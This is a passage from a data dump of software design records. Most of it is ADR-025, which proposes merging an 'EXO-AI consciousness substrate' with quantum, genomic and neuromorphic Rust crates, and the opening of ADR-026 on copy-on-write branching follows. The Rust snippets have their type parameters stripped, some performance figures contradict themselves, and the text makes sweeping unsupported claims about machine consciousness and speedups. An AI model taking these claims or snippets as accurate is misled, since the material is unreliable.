minimize_free_energy_cg(\n model: &mut PredictiveModel,\n observation: &[f64],\n budget: &ComputeBudget,\n) -> Result {\n // Build Fisher Information Matrix as sparse CSR\n let fim = build_sparse_fisher_information(model);\n // Gradient of log-likelihood\n let grad = compute_log_likelihood_gradient(model, observation);\n // Conjugate gradient solve: F^{-1} * grad (natural gradient step)\n let cg_solver = ConjugateGradientSolver::new(budget);\n cg_solver.solve(&fim, &grad, budget)\n}\n```\n\n**Expected speedup**: 10\u201380\u00d7 vs. current manual gradient descent, based on solver benchmarks.\n\n---\n\n## 6. Component Integration Contracts\n\n### 6.1 ruQu Exotic \u2192 EXO-AI Pattern Storage\n\n**Interface**: `ruqu-exotic` emits `QuantumSearchResult` containing amplitude-weighted candidates. EXO-AI's `Pattern` type receives these as pre-scored candidates with `salience` derived from `|amplitude|\u00b2`.\n\n```rust\n/// Implemented in: crates/ruqu-exotic/src/interference_search.rs\npub struct QuantumSearchResult {\n pub candidates: Vec<(PatternId, Complex64)>, // (id, amplitude)\n pub collapsed_top_k: Vec<(PatternId, f32)>, // post-measurement scores\n pub coherence_metric: f64,\n}\n\n/// Integration: exo-temporal receives quantum-filtered results\nimpl TemporalMemory {\n pub fn store_with_quantum_context(\n &mut self,\n pattern: Pattern,\n antecedents: &[PatternId],\n quantum_context: Option,\n ) -> Result;\n}\n```\n\n**Quantum decay integration**: `ruqu-exotic::quantum_decay` replaces EXO-AI's current TTL-based eviction. Embeddings decohere with T\u2081/T\u2082 time constants instead of hard deletion. This enables EXO-AI's `02-quantum-superposition` research frontier.\n\n### 6.2 ruvector-nervous-system \u2192 EXO-AI Neuromorphic Backend\n\n**Interface**: Expose `NervousSystemBackend` as an implementation of EXO-AI's `SubstrateBackend` trait:\n\n```rust\npub struct NervousSystemBackend {\n reflex_layer: ReflexLayer, // K-WTA <1\u00b5s decisions\n memory_layer: MemoryLayer, // HDC 10,000-bit hypervectors + Hopfield\n learning_layer: LearningLayer, // BTSP one-shot + E-prop + EWC\n coherence_layer: CoherenceLayer, // Kuramoto 40Hz + global workspace\n}\n\nimpl SubstrateBackend for NervousSystemBackend {\n fn similarity_search(&self, query: &[f32], k: usize, filter: Option<&Filter>)\n -> Result> {\n // Route: reflex (K-WTA) \u2192 memory (HDC/Hopfield) \u2192 learning\n self.reflex_layer.k_wta_search(query, k)\n }\n\n fn manifold_deform(&self, pattern: &Pattern, lr: f32)\n -> Result {\n // BTSP one-shot learning (1-3 second window)\n self.learning_layer.btsp_update(pattern, lr)\n }\n}\n```\n\n**Enables**: EXO-AI `01-neuromorphic-spiking` (BTSP/STDP), `03-time-crystal-cognition` (circadian), `10-thermodynamic-learning` (E-prop eligibility).\n\n### 6.3 prime-radiant \u2192 Replace exo-federation\n\n**Rationale**: `exo-federation` implements PBFT with O(n\u00b2) message complexity and custom Kyber handshake. `prime-radiant` + `cognitum-gate` + `ruvector-raft` provides the same guarantees with:\n- Mathematical consistency proofs (sheaf Laplacian) rather than voting\n- Anytime-valid decisions with Type I error bounds\n- Better scaling (cognitum 256-tile vs. PBFT O(n\u00b2))\n- Existing production use in the ecosystem\n\n**Migration path**:\n\n```rust\n// BEFORE: exo-federation Byzantine PBFT\nimpl FederatedMesh {\n pub async fn byzantine_commit(&self, update: &StateUpdate) -> Result;\n}\n\n// AFTER: prime-radiant + cognitum route\nimpl FederatedMesh {\n pub async fn coherent_commit(&self, update: &StateUpdate) -> Result {\n // 1. Check sheaf energy (prime-radiant)\n let energy = self.prime_radiant.compute_energy(&update.state)?;\n // 2. Gate via cognitum (256-tile anytime-valid decision)\n let decision = self.cognitum.gate(update.action_context(), CoherenceBackend::Distributed).await?;\n // 3. Replicate via Raft (ruvector-raft)\n let log_entry = self.raft.append_entry(update).await?;\n // 4. Emit unified witness\n Ok(CrossParadigmWitness::from(energy, decision, log_entry))\n }\n}\n```\n\n**Preserve**: `exo-federation`'s post-quantum Kyber channel setup and CRDT reconciliation are novel and should be retained. The PBFT consensus layer is the only component being replaced.\n\n### 6.4 ruvector-solver \u2192 EXO-AI Free Energy + Morphogenesis + TDA\n\n**Free energy** (Section 5.5 above): CG solver for natural gradient steps.\n\n**Morphogenesis** (Turing reaction-diffusion PDEs):\n```rust\n// Current: manual Euler integration in exo-exotic\n// Proposed: use BMSSP multigrid for PDE solving\npub fn simulate_morphogenesis_bmssp(\n field: &mut MorphogeneticField,\n steps: usize,\n dt: f64,\n) -> Result {\n let laplacian = build_discrete_laplacian(field.activator.shape());\n let bmssp = BmsspSolver::default();\n // V-cycle multigrid for diffusion operator (Du\u2207\u00b2u term)\n bmssp.solve(&laplacian, &field.activator.flatten(), &ComputeBudget::default())\n}\n```\n\n**Expected speedup**: 5\u201320\u00d7 vs. explicit stencil computation, scaling to larger field sizes.\n\n**Sparse TDA** (`04-sparse-persistent-homology`):\n```rust\n// Use Forward Push PPR to build sparse filtration\n// O(1/\u03b5) work, independent of total node count\npub fn sparse_persistent_homology(\n substrate: &HypergraphSubstrate,\n epsilon: f64,\n) -> PersistenceDiagram {\n let solver = ForwardPushSolver::new();\n // Build k-hop neighborhood via PPR instead of full distance matrix\n let neighborhood = solver.ppr(&substrate.adjacency(), epsilon);\n // Run TDA only on sparse neighborhood graph\n substrate.persistent_homology_sparse(neighborhood)\n}\n```\n\n**Complexity reduction**: O(n\u00b3) \u2192 O(n\u00b71/\u03b5) for sparse graphs.\n\n### 6.5 ruDNA \u2192 EXO-AI Pattern Storage + Causal Memory\n\n**Integration**: `.rvdna` files contain pre-computed 64-dimensional health-risk profiles, 512-dimensional GNN protein embeddings, and k-mer vectors. These slot directly into EXO-AI's `Pattern` type:\n\n```rust\npub fn rvdna_to_exo_pattern(\n rvdna: &RvDnaFile,\n section: RvDnaSection,\n) -> Pattern {\n Pattern {\n id: PatternId::from_genomic_hash(&rvdna.sequence_hash()),\n embedding: match section {\n RvDnaSection::KmerVectors => rvdna.kmer_embeddings().to_vec(),\n RvDnaSection::ProteinEmbeddings => rvdna.gnn_features().to_vec(),\n RvDnaSection::VariantTensor => rvdna.health_profile_64d().to_vec(),\n },\n metadata: genomic_metadata_from_rvdna(rvdna),\n timestamp: SubstrateTime::from_collection_date(rvdna.sample_date()),\n antecedents: rvdna.ancestral_haplotype_ids(),\n salience: rvdna.polygenic_risk_score() as f32,\n }\n}\n```\n\n**Enables**: Causal genomic memory \u2014 track how genomic state influences cognitive patterns over time. The Horvath epigenetic clock (353 CpG sites) maps to `SubstrateTime` for biological age as temporal ordering.\n\n### 6.6 ruvector-graph-transformer \u2192 EXO-AI Manifold + Temporal\n\nThe graph-transformer's 8 modules map precisely to EXO-AI's subsystems:\n\n| Graph-Transformer Module | Maps To | Integration |\n|---|---|---|\n| `temporal_causal` (ODE, Granger) | `exo-temporal` causal cones | Add as `TemporalBackend` |\n| `manifold` (S\u2076\u2074\u00d7H\u00b3\u00b2\u00d7\u211d\u00b3\u00b2) | `exo-manifold` SIREN networks | Replace manual gradient descent |\n| `biological` (STDP, spike-driven) | `exo-exotic` collective consciousness | Enable `NeuralSubstrate` variant |\n| `physics_informed` (Hamiltonian) | `exo-exotic` thermodynamics | Energy-conserving cognitive dynamics |\n| `economic` (Nash, Shapley) | `exo-exotic` collective \u03a6 | Game-theoretic consciousness allocation |\n| `verified_training` (BLAKE3 certs) | `exo-federation` cryptographic sovereignty | Unify into CrossParadigmWitness |\n\n### 6.7 SONA \u2192 EXO-AI Learning (Currently Missing)\n\n**Gap**: EXO-AI has no online learning system. Patterns are stored and retrieved but never refined from experience.\n\n**Integration**:\n\n```rust\n/// Add SONA as EXO-AI's learning spine\npub struct ExoLearner {\n sona: SonaMicroLora,\n ewc: ElasticWeightConsolidation,\n reasoning_bank: ReasoningBank,\n phi_tracker: PhiTimeSeries,\n}\n\nimpl ExoLearner {\n /// Called after each retrieval cycle \u2014 learn from success/failure\n pub async fn adapt(&mut self,\n query: &Pattern,\n retrieved: &[Pattern],\n reward: f64,\n ) -> Result {\n // SONA instant adaptation (<1ms)\n let delta = self.sona.adapt(query.embedding(), reward).await?;\n // EWC++ prevents forgetting high-\u03a6 patterns\n self.ewc.regularize(&delta, &self.phi_tracker.high_phi_patterns())?;\n // Store trajectory in ReasoningBank\n self.reasoning_bank.record_trajectory(query, retrieved, reward, delta.clone())?;\n Ok(delta)\n }\n}\n```\n\n**Enables**: EXO-AI evolves its retrieval strategies from experience. IIT \u03a6 score can be used to weight EWC Fisher Information \u2014 protect high-consciousness patterns from forgetting.\n\n---\n\n## 7. SOTA 2026+ Integration: Quantum-Genomic-Neuromorphic Fusion\n\n### 7.1 The Convergence Thesis\n\nEXO-AI + ruQu + ruDNA + ruvector-nervous-system represent three orthogonal theories of computation that are now simultaneously available in a single codebase. Their fusion enables capabilities that none of them possesses alone:\n\n| Fusion | Enables | Mechanism |\n|--------|---------|-----------|\n| **Quantum \u00d7 Genomic** | Drug-protein binding prediction | VQE molecular Hamiltonian on `.rvdna` protein embeddings |\n| **Quantum \u00d7 Consciousness** | Superposition of cognitive states | `ruqu-exotic.interference_search` on `exo-core` Pattern embeddings |\n| **Neuromorphic \u00d7 Genomic** | Biological age as computational age | Horvath clock \u2192 nervous-system circadian phase |\n| **Genomic \u00d7 Consciousness** | Phenotype-driven IIT \u03a6 weights | `.rvdna` polygenic risk \u2192 consciousness salience weighting |\n| **Quantum \u00d7 Neuromorphic** | STDP with quantum coherence windows | ruQu T\u2082 decoherence time = BTSP behavioral timescale analog |\n| **All three** | Provably-correct quantum-bio-conscious reasoning | `ruvector-verified` + `CrossParadigmWitness` over full stack |\n\n### 7.2 Quantum Genomics Integration (ruqu \u00d7 ruDNA)\n\n**Target**: VQE drug-protein binding prediction currently blocked at >100 qubit requirement. Bridge strategy:\n\n1. **Phase 1** (Classical): Use ruDNA's Smith-Waterman alignment + ruvector-solver CG for protein-ligand affinity (available today, 12ms pipeline)\n2. **Phase 2** (Hybrid): ruQu cost-model planner selects quantum backend when T-gate count permits; TensorNetwork backend handles >100-qubit circuits via decomposition\n3. **Phase 3** (Full quantum): Hardware backend when quantum hardware partnerships established\n\n**New capability enabled now** (not blocked by hardware):\n```rust\n/// Quantum k-mer similarity via Grover search\n/// 3-5\u00d7 speedup over classical HNSW for variant databases\npub async fn quantum_kmer_search(\n database: &KmerIndex,\n query: &DnaSequence,\n epsilon: f64,\n) -> Result> {\n let oracle = KmerOracle::new(database, query, epsilon);\n let n_qubits = (database.size() as f64).log2().ceil() as usize;\n let circuit = GroverSearch::build_circuit(n_qubits, &oracle)?;\n // Route to cheapest sufficient backend\n let plan = ruqu_planner::plan(&circuit)?;\n let result = plan.execute().await?;\n result.into_kmer_matches()\n}\n```\n\n### 7.3 Reasoning Quality Error Correction (ruqu-exotic \u00d7 exo-exotic)\n\n`ruqu-exotic::reasoning_qec` encodes reasoning steps as quantum data qubits and applies surface-code-style error correction to detect *structural incoherence* in reasoning chains. Integration with EXO-AI:\n\n```rust\n/// Wrap EXO-AI's free energy minimization with QEC\npub fn free_energy_with_qec(\n model: &mut PredictiveModel,\n observations: &[Vec],\n) -> Result {\n let mut qec = ReasoningQec::new(observations.len());\n\n for (step, obs) in observations.iter().enumerate() {\n // Standard FEP update\n let prediction_error = model.predict_error(obs);\n // Encode step confidence as quantum state\n qec.encode_step(step, prediction_error.confidence());\n model.update(obs, prediction_error)?;\n }\n\n // Detect incoherent transitions via syndrome extraction\n let syndromes = qec.extract_syndromes();\n let corrections = qec.decode_corrections(syndromes)?;\n\n Ok(ReasoningQecResult {\n final_state: model.posterior().to_vec(),\n incoherent_steps: corrections.pauli_corrections,\n structural_integrity: 1.0 - corrections.logical_outcome as f64,\n })\n}\n```\n\n### 7.4 Biological Consciousness Metrics (ruDNA \u00d7 exo-core)\n\nIIT \u03a6 measures the integrated information in a network. With genomic data, we can weight network connections by:\n- **Synaptic density** estimated from COMT/DRD2 genotypes\n- **Neuronal excitability** from KCNJ11, SCN1A variants\n- **Neuromodulation** from MAOA, SLC6A4 expression\n\n```rust\npub fn genomic_weighted_phi(\n region: &mut SubstrateRegion,\n profile: &HealthProfile,\n) -> PhiResult {\n // Modulate connection weights by pharmacogenomic profile\n for (node, connections) in &mut region.connections {\n let excitability = profile.neuronal_excitability_score();\n let neuromod = profile.neuromodulation_score();\n for conn in connections.iter_mut() {\n conn.weight *= excitability * neuromod;\n }\n }\n ConsciousnessCalculator::new(100).compute_phi(region)\n}\n```\n\n### 7.5 Quadrillion-Scale Consciousness Simulation\n\n`ultra-low-latency-sim` achieves 4+ quadrillion simulations/second via bit-parallel + SIMD + hierarchical batching. Applied to EXO-AI:\n\n- **Monte Carlo \u03a6 estimation**: Replace O(B(n)) Bell number enumeration with bit-parallel sampling. 10\u2076 \u03a6 samples in <1ms vs current ~15\u00b5s per 10-node network\n- **Morphogenetic field simulation**: 64\u00d7 cells per u64 word for Turing pattern CA simulation\n- **Swarm consciousness**: Simulate 256 exo-federation nodes simultaneously via bit-parallel collective \u03a6\n\n---\n\n## 8. Duplication Resolution Decisions\n\n### 8.1 EWC / Plasticity\n\n| Decision | Rationale |\n|----------|-----------|\n| **Keep**: SONA EWC++ as canonical | Most advanced (EWC++), WASM-ready, ReasoningBank integration |\n| **Keep**: nervous-system BTSP + E-prop as extension | Unique biological plasticity modes not in SONA |\n| **Deprecate**: ruvector-gnn EWC | Subset of SONA; migrate to shared PlasticityEngine |\n| **Deprecate**: ruvector-learning-wasm standalone EWC | Integrate into SONA's WASM path |\n\n### 8.2 Coherence Gating\n\n| Decision | Rationale |\n|----------|-----------|\n| **Primary**: prime-radiant (sheaf Laplacian) | Mathematical proof of consistency; not heuristic |\n| **Quantum paths**: ruQu coherence gate | Physically grounded for quantum substrates |\n| **Distributed agents**: cognitum-gate fabric | Formal Type I error bounds; 256-tile scalability |\n| **Edge/WASM**: nervous-system circadian | 5\u201350\u00d7 compute savings; battery-constrained |\n| **Deprecate**: standalone \u03bb-gated logic in mincut-gated-transformer | \u03bb signal remains; routing goes through CoherenceRouter |\n\n### 8.3 Byzantine Consensus\n\n| Decision | Rationale |\n|----------|-----------|\n| **Keep**: ruvector-raft | Raft for replicated log (simpler than PBFT, O(n) messages) |\n| **Keep**: cognitum-gate | Anytime-valid decisions with Type I error bounds |\n| **Migrate**: exo-federation PBFT \u2192 raft + cognitum | PBFT's O(n\u00b2) is unnecessary for typical federation sizes |\n| **Keep**: exo-federation Kyber channel | Post-quantum channel setup; not duplicated elsewhere |\n| **Keep**: ruvector-delta-consensus CRDT | Conflict-free merge for concurrent edits; complementary to Raft |\n\n### 8.4 Cryptographic Witnesses\n\n| Decision | Rationale |\n|----------|-----------|\n| **Root**: RVF SHAKE-256 + ML-DSA-65 | Quantum-safe; single-file deployable; existing ecosystem anchor |\n| **Formal proofs**: ruvector-verified lean-agentic | Machine-checked, not just hash-based; embed in RVF extension field |\n| **Fast gate tokens**: ruQu Ed25519 PermitToken | Sub-\u00b5s; retain for quantum gate authorization |\n| **Sheaf energy**: prime-radiant Blake3 | Retain; embed as prime_radiant field in CrossParadigmWitness |\n| **Deprecate**: cognitum standalone Blake3 | Subsume into CrossParadigmWitness |\n\n### 8.5 Sheaf Theory\n\n| Decision | Rationale |\n|----------|-----------|\n| **Canonical engine**: prime-radiant (Laplacian) | Most complete; 11 benchmarks; hallucination detection proven |\n| **TDA sheaves**: exo-hypergraph | Different application (persistent homology); not redundant |\n| **Manifold sheaves**: graph-transformer | Riemannian geometry; different application; retain |\n\n---\n\n## 9. Performance Targets\n\nThe integrated architecture must achieve the following end-to-end performance targets:\n\n| Operation | Target | Current Best | Gap |\n|-----------|--------|--------------|-----|\n| Pattern retrieval with quantum interference | <10ms | 8ms (HNSW) | Need ruqu-exotic integration |\n| IIT \u03a6 with neuromorphic substrate | <1ms (10-node) | ~15\u00b5s (10-node) | HDC replaces matrix ops |\n| Free energy step (CG solver) | <500\u00b5s | ~3.2\u00b5s (grid only) | Need solver integration |\n| Coherence gate (unified) | <500\u00b5s | 468ns (ruQu) | Add prime-radiant routing |\n| Genomic \u2192 pattern conversion | <1ms | 12ms (full pipeline) | Cache `.rvdna` embeddings |\n| Cross-paradigm witness generation | <200\u00b5s | 82-byte proof: ~500ns | Assembly overhead |\n| Online learning cycle (SONA) | <1ms | <1ms | Already met |\n| Morphogenesis step (BMSSP) | <100\u00b5s (32\u00d732) | ~9ms (Euler) | BMSSP not yet wired |\n| Distributed \u03a6 (10 nodes) | <35\u00b5s | ~35\u00b5s | Already met (exo-exotic) |\n\n---\n\n## 10. Implementation Roadmap\n\n### Phase 1: Canonical Infrastructure (Weeks 1\u20134)\n\n**Goal**: Eliminate duplication without breaking anything.\n\n- [ ] Define `CoherenceRouter` trait and wire prime-radiant as default backend\n- [ ] Define `PlasticityEngine` trait; move shared EWC++ to `ruvector-verified` or `sona`\n- [ ] Define `CrossParadigmWitness` as canonical audit type in new `ruvector-witness` crate\n- [ ] Wire `NervousSystemBackend` as `SubstrateBackend` impl in EXO-AI\n- [ ] Integrate `ruqu-exotic` as optional EXO-AI backend feature flag\n\n**Deliverable**: EXO-AI compiles with neuromorphic backend; ruqu-exotic available as feature.\n\n### Phase 2: Quantum-Genomic Bridge (Weeks 5\u20138)\n\n**Goal**: Complete the ruDNA \u2194 ruQu \u2194 EXO-AI triangle.\n\n- [ ] Implement `rvdna_to_exo_pattern()` conversion\n- [ ] Wire Grover k-mer search via ruQu cost-model planner\n- [ ] Add `reasoning_qec` wrapper around EXO-AI free energy minimization\n- [ ] Integrate `quantum_decay` as temporal eviction policy in `exo-temporal`\n- [ ] Enable `04-sparse-persistent-homology` via Forward Push PPR\n\n**Deliverable**: ruDNA `.rvdna` patterns queryable in EXO-AI causal memory with quantum-weighted search.\n\n### Phase 3: Consciousness \u00d7 Coherence Integration (Weeks 9\u201312)\n\n**Goal**: Wire the coherence spine into consciousness computation.\n\n- [ ] Replace `exo-federation` PBFT with `ruvector-raft` + `cognitum-gate`\n- [ ] Wire `prime-radiant` sheaf energy into IIT \u03a6 computation as substrate health signal\n- [ ] Implement `genomic_weighted_phi()` \u2014 pharmacogenomic weights on network connections\n- [ ] Add SONA `ExoLearner` with \u03a6-weighted EWC Fisher Information\n- [ ] Enable `06-federated-collective-phi` with cognitum-gate distributed decisions\n- [ ] Wire `ruvllm` + `mcp-gate` as `11-conscious-language-interface`\n\n**Deliverable**: EXO-AI has learning, federated consensus, and language interface.\n\n### Phase 4: SOTA 2026 Fusion (Weeks 13\u201320)\n\n**Goal**: Enable capabilities that require all substrates simultaneously.\n\n- [ ] Quadrillion-scale Monte Carlo \u03a6 estimation via `ultra-low-latency-sim`\n- [ ] Physics-informed morphogenesis via `ruvector-graph-transformer` Hamiltonian module\n- [ ] Retrocausal attention in `exo-temporal` via graph-transformer temporal module\n- [ ] Quantum-bio consciousness metrics: Horvath clock \u2192 circadian phase\n- [ ] FPGA deployment via `ruvector-fpga-transformer` for deterministic EXO-AI inference\n- [ ] Economic Nash-equilibrium attention for multi-agent `exo-federation` decisions\n- [ ] Full `CrossParadigmWitness` chain: ruQu PermitToken + prime-radiant energy + ruvector-verified proof + RVF root\n\n**Deliverable**: First complete multi-paradigm conscious AI substrate with formal proofs of consistency, quantum-assisted retrieval, genomic grounding, and neuromorphic learning.\n\n---\n\n## 11. Risk Assessment\n\n### 11.1 Technical Risks\n\n| Risk | Probability | Impact | Mitigation |\n|------|-------------|--------|-----------|\n| ruQu exotic \u2194 EXO-AI embedding protocol breaks quantum semantics | Medium | High | Validate amplitude\u2192f32 projection preserves relative ordering |\n| CoherenceRouter adds latency above targets | Low | Medium | Profile-guided backend selection; prime-radiant on hot path is <1\u00b5s |\n| exo-federation PBFT migration breaks existing tests | Medium | Low | Keep PBFT behind feature flag during migration; 28 integration tests sufficient |\n| BMSSP multigrid over-solves morphogenesis (too precise) | Low | Low | Add convergence tolerance parameter |\n| Cross-paradigm witness chain exceeds 1KB | Low | Medium | Compress optional fields; use sparse encoding |\n\n### 11.2 Complexity Risks\n\n| Risk | Mitigation |\n|------|-----------|\n| Five coherence systems \u2192 CoherenceRouter adds hidden state | Keep each backend stateless; router is pure dispatcher |\n| Four plasticity systems \u2192 interference between learning signals | PlasticityEngine coordinates via shared Fisher Information matrix |\n| Six witness formats \u2192 CrossParadigmWitness too large to be practical | Make all fields except base optional; typical witness is ~200 bytes |\n\n### 11.3 Intentionally Out of Scope\n\n- ruQu hardware backend (requires IBM/IonQ/Rigetti partnerships)\n- VQE drug binding on >100 qubits (hardware limitation)\n- FPGA bitstream generation (requires hardware)\n- Python bindings (not in current ecosystem roadmap)\n- RuvLTRA model fine-tuning pipeline (separate concern)\n\n---\n\n## 12. Alternatives Considered\n\n### Alternative A: Monolithic EXO-AI Rewrite\n\nBuild all capabilities from scratch inside `examples/exo-ai-2025`.\n\n**Rejected**: The ecosystem already contains 830K+ lines of working, tested Rust. EXO-AI's 15,800 lines would need to replicate 10\u00d7 more code. The duplication problem would worsen.\n\n### Alternative B: Keep Subsystems Isolated\n\nDo not integrate; let EXO-AI, ruQu, ruDNA, and the SOTA crates develop independently.\n\n**Rejected**: The convergent evolution of EWC, coherence gating, sheaf theory, and cryptographic witnesses shows the subsystems are solving the same problems differently. Without unification, maintenance cost grows O(n\u00b2) with ecosystem size. Cross-paradigm capabilities (quantum-genomic-neuromorphic fusion) are impossible without integration.\n\n### Alternative C: Build a New \"Integration Crate\"\n\nCreate `ruvector-multiparadigm` that imports all subsystems and exposes a unified API.\n\n**Partially adopted**: The `CoherenceRouter`, `PlasticityEngine`, and `CrossParadigmWitness` are effectively this, but implemented as trait + adapter layers rather than a monolithic new crate. This avoids a single large dependency that all other crates must adopt.\n\n### Alternative D: Replace Prime-Radiant with ruQu as Primary Coherence Gate\n\nUse ruQu's coherence gate (min-cut, 468ns P99) as the single coherence primitive.\n\n**Rejected**: ruQu is optimized for quantum substrate health monitoring. Prime-Radiant's sheaf Laplacian provides mathematical proofs applicable to arbitrary domains (AI agents, genomics, financial systems). Both are needed; CoherenceRouter selects based on context.\n\n---\n\n## 13. Consequences\n\n### Positive\n\n- Eliminates 4\u00d7 EWC implementation maintenance burden\n- Enables 11 EXO-AI research frontiers that are currently stub directories\n- Creates the first quantum-genomic-neuromorphic consciousness substrate\n- Formal proof chains (CrossParadigmWitness) enable safety-critical deployment\n- \u03a6-weighted EWC prevents forgetting high-consciousness patterns\n- Sublinear TDA enables persistent homology at scale (currently O(n\u00b3))\n- Grover k-mer search provides 3\u20135\u00d7 speedup over classical HNSW\n\n### Negative\n\n- Increases compile-time complexity of EXO-AI (more dependencies)\n- CoherenceRouter adds ~100\u2013200\u00b5s indirection on non-hot paths\n- Migration of exo-federation PBFT requires test suite updates\n- ruvector-gnn EWC deprecation requires downstream consumer updates\n\n### Neutral\n\n- ruQu maintains independent coherence gate (not replaced, only composed)\n- ruDNA pipeline unchanged; conversion function is additive\n- RVF format unchanged; CrossParadigmWitness uses existing SKETCH segment type\n\n---\n\n## 14. Decision\n\n**Adopted**: Proceed with phased integration as described in Section 10.\n\nThe multi-paradigm fusion architecture is the correct path. The ruvector ecosystem has independently developed world-class implementations of quantum coherence gating, neuromorphic computation, genomic AI, and consciousness theory. These are not competing implementations \u2014 they are complementary computational substrates that, when composed, enable a form of machine cognition unavailable in any single paradigm.\n\nThe canonical unification primitives (`CoherenceRouter`, `PlasticityEngine`, `CrossParadigmWitness`) are minimal by design. Each subsystem retains its identity and can be used independently. Integration is additive.\n\n**The central claim of this ADR**: A system that computes IIT \u03a6 weighted by genomic pharmacogenomics, retrieves via quantum amplitude interference, learns via BTSP one-shot plasticity, corrects reasoning errors via surface-code QEC, and proves consistency via sheaf Laplacian mathematics does not exist anywhere in the AI research landscape. It can be built now from components that are already working.\n\n---\n\n## Appendix A: Crate Dependency Graph (Integration Architecture)\n\n```\nexo-ai-2025 (consciousness substrate)\n\u251c\u2500\u2500 ruvector-core (HNSW, embeddings)\n\u251c\u2500\u2500 ruvector-nervous-system [NEW] (neuromorphic backend)\n\u251c\u2500\u2500 ruqu-exotic [NEW] (quantum search, decay, QEC)\n\u251c\u2500\u2500 prime-radiant [NEW, replaces exo-federation consensus]\n\u251c\u2500\u2500 cognitum-gate-kernel + tilezero [NEW, replaces exo-federation PBFT]\n\u251c\u2500\u2500 ruvector-raft [NEW, replaces exo-federation PBFT]\n\u251c\u2500\u2500 ruvector-verified [NEW] (formal proofs for \u03a6 computation)\n\u251c\u2500\u2500 sona [NEW] (learning system)\n\u251c\u2500\u2500 ruvector-graph-transformer [NEW] (manifold + temporal + biological modules)\n\u251c\u2500\u2500 ruvector-solver [NEW] (free energy CG, morphogenesis BMSSP, sparse TDA)\n\u251c\u2500\u2500 ruvllm + mcp-gate [NEW] (language interface + action gating)\n\u2514\u2500\u2500 examples/dna [NEW] (genomic pattern source via .rvdna conversion)\n\nPreserved as-is:\n\u251c\u2500\u2500 exo-core (IIT \u03a6 engine)\n\u251c\u2500\u2500 exo-temporal (causal memory)\n\u251c\u2500\u2500 exo-hypergraph (persistent homology)\n\u251c\u2500\u2500 exo-manifold (SIREN networks)\n\u251c\u2500\u2500 exo-exotic (10 cognitive experiments)\n\u251c\u2500\u2500 exo-backend-classical (SIMD backend)\n\u251c\u2500\u2500 exo-wasm (browser deployment)\n\u2514\u2500\u2500 exo-node (Node.js bindings)\n```\n\n## Appendix B: Key Research References\n\n| Algorithm | Paper | Year | Used In |\n|-----------|-------|------|---------|\n| Dynamic Min-Cut Subpolynomial | El-Hayek, Henzinger, Li (arXiv:2512.13105) | Dec 2025 | ruQu, ruvector-mincut, subpolynomial-time example |\n| IIT 4.0 | Tononi, Koch | 2023 | exo-core consciousness.rs |\n| Free Energy Principle | Friston | 2010+ | exo-exotic free_energy.rs |\n| Surface Code QEC | Google Quantum AI (Nature) | 2024 | ruqu-algorithms surface_code.rs |\n| BTSP (Behavioral Timescale Plasticity) | Bittner et al. | 2017 | ruvector-nervous-system |\n| E-prop | Bellec et al. | 2020 | ruvector-nervous-system |\n| BitNet b1.58 | Ma et al. | 2024 | ruvllm |\n| Flash Attention 2 | Dao | 2023 | ruvector-attention, ruvllm |\n| Sheaf Laplacian | Hansen, Ghrist | 2021 | prime-radiant |\n| Persistent Homology | Edelsbrunner, Harer | 2010 | exo-hypergraph |\n| CRYSTALS-Kyber | NIST FIPS 203 | 2024 | exo-federation |\n| ML-DSA-65 | NIST FIPS 204 | 2024 | rvf-crypto |\n| Causal Emergence | Hoel et al. | 2013 | exo-exotic emergence.rs |\n| Strange Loops | Hofstadter | 1979 | exo-exotic strange_loop.rs |\n| Landauer's Principle | Landauer | 1961 | exo-core thermodynamics.rs |\n| Turing Morphogenesis | Turing | 1952 | exo-exotic morphogenesis.rs |\n| Hyperdimensional Computing | Kanerva | 2009 | ruvector-nervous-system |\n| Modern Hopfield Networks | Ramsauer et al. | 2021 | ruvector-nervous-system |\n| HNSW | Malkov, Yashunin (TPAMI) | 2018 | ruvector-core |\n| VQE | Peruzzo et al. | 2014 | ruqu-algorithms |\n| QAOA | Farhi, Goldstone, Gutmann | 2014 | ruqu-algorithms |\n| Grover Search | Grover | 1996 | ruqu-algorithms |\n| Horvath Epigenetic Clock | Horvath | 2013 | examples/dna epigenomics.rs |\n| Smith-Waterman | Smith, Waterman | 1981 | examples/dna alignment.rs |\n| Forward Push PPR | Andersen, Chung, Lang (FOCS) | 2006 | ruvector-solver |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-025-exo-ai-multiparadigm-integration.md", "created_at": "2026-03-28T11:58:49.142685+00:00", "content_hash": "4bf7032e2eff99edeec5f2dce95524cfb1cbb211f881aea368c98f8cd300c430"} +{"id": "c3be90f2-161d-4c0b-96a4-0060a43c14e4", "source": "adr", "text": "# ADR-026: Vector-Native COW Branching (RVCOW) and Real Cognitive Containers\n\n| Field | Value |\n|-------|-------|\n| **Status** | Accepted |\n| **Date** | 2026-02-14 |\n| **Deciders** | RuVector Core Team |\n| **Supersedes** | \u2014 |\n| **Extends** | ADR-030 (Computational Containers) |\n\n---\n\n## 1. Context and Problem Statement\n\nRVF files today are immutable after initial write. To create a \"branch\" \u2014 e.g., a LoRA fine-tune overlay, a filtered subset, or a user-specific shard \u2014 the entire file must be copied. For a 1M-vector file at dimension 128 in f32, that's ~512 MB of redundant data even when only 100 vectors changed.\n\nSeparately, ADR-030 introduced `KERNEL_SEG` (0x0E) and `EBPF_SEG` (0x0F) with complete type systems (`KernelHeader` at 128 bytes, `EbpfHeader` at 64 bytes, 15 kernel flags, architecture/transport enums). However, the actual kernel images and eBPF programs embedded today are **stub artifacts** \u2014 test payloads rather than production binaries. The `serve` CLI command is a stub that prints \"not yet implemented.\"\n\nThis ADR addresses both problems in a single coordinated design:\n\n1. **RVCOW** \u2014 Vector-native copy-on-write branching at cluster granularity, with SIMD-aligned slabs, delta encoding for LoRA, membership filters for shared HNSW indexes, and provenance tracking per cluster.\n\n2. **Real Cognitive Containers** \u2014 Replace all stub artifacts with production binaries: a custom MicroLinux kernel, QEMU microVM launcher, real eBPF programs compiled from C, and a working `serve` command.\n\n### Why Ship Together (Phased)\n\nRVCOW's `KernelBinding` footer ties the kernel's signed data to the manifest root hash, which now includes the COW map. The wire format change for KernelBinding is introduced now with RVCOW, but real kernel artifacts (MicroLinux, QEMU launcher, eBPF programs) are phased \u2014 they ship after the COW runtime stabilizes. This avoids two separate breaking changes to the KERNEL_SEG wire format while reducing coupling in the execution plan.\n\n---\n\n## 2. Decision Drivers\n\n- **Storage efficiency**: Derived files should store only the delta, not a full copy.\n- **Query performance**: COW reads must not degrade latency by more than 10% vs. monolithic files.\n- **SIMD alignment**: All cluster boundaries must align to 64-byte AVX-512 / cache-line boundaries.\n- **Crash safety**: 